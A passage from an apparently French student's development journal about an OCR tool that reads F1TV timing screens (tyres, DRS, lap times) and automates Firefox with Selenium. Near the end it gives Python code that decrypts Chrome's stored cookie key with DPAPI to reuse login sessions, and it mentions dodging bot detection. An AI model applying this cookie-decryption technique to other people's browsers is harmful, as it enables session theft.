des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard.","title":"Jeudi 6 Avril"},{"location":"jdb.html#vendredi-6-avril-2023","text":"Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); Size newWindowSize = new Size ( bmp . Height , bmp . Height ); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right side int offset = Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 20f ); int CorrectedX = currentPosition - ( newWindowSize . Width - offset ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , 0 , newWindowSize . Width , newWindowSize . Height ); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin.","title":"Vendredi 6 Avril 2023"},{"location":"jdb.html#vacances","text":"Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { Point tmpPos = new Point ( 0 , FirstZonePosition . Y + i * FirstZoneSize . Height - Convert . ToInt32 ( i * offset ) /*- (i* (FirstZoneSize.Height / 32))*/ ); Zone newDriverZone = new Zone ( MainZoneImage , new Rectangle ( tmpPos , FirstZoneSize )); Bitmap zoneImg = newDriverZone . ZoneImage ; newDriverZone . AddWindow ( new DriverPositionWindow ( zoneImg , new Rectangle ( driverPositionPosition , driverPositionArea ))); newDriverZone . AddWindow ( new DriverGapToLeaderWindow ( zoneImg , new Rectangle ( driverGapToLeaderPosition , driverGapToLeaderArea ))); newDriverZone . AddWindow ( new DriverLapTimeWindow ( zoneImg , new Rectangle ( driverLapTimePosition , driverLapTimeArea ))); newDriverZone . AddWindow ( new DriverDrsWindow ( zoneImg , new Rectangle ( driverDrsPosition , driverDrsArea ))); newDriverZone . AddWindow ( new DriverTyresWindow ( zoneImg , new Rectangle ( driverTyresPosition , driverTyresArea ))); newDriverZone . AddWindow ( new DriverNameWindow ( zoneImg , new Rectangle ( driverNamePosition , driverNameArea ))); newDriverZone . AddWindow ( new DriverSector1Window ( zoneImg , new Rectangle ( driverSector1Position , driverSector1Area ))); newDriverZone . AddWindow ( new DriverSector2Window ( zoneImg , new Rectangle ( driverSector2Position , driverSector2Area ))); newDriverZone . AddWindow ( new DriverSector3Window ( zoneImg , new Rectangle ( driverSector3Position , driverSector3Area ))); MainZone . AddZone ( newDriverZone ); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow ( Bitmap image , Rectangle bounds ) : base ( image , bounds ) { Name = \"Position\" ; } Sachant que le constructeur de base d'une Window c'est : public Window ( Bitmap image , Rectangle bounds ) { Image = image ; Bounds = bounds ; Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if ( Engine == null ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); FirefoxOptions options = new FirefoxOptions (); var driver = new FirefoxDriver ( service , options ); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxOptions options = new FirefoxOptions (); options . AddArgument ( \"--disable-headless\" ); var driver = new FirefoxDriver ( service , options ); driver . Navigate (). GoToUrl ( \"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\" ); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . 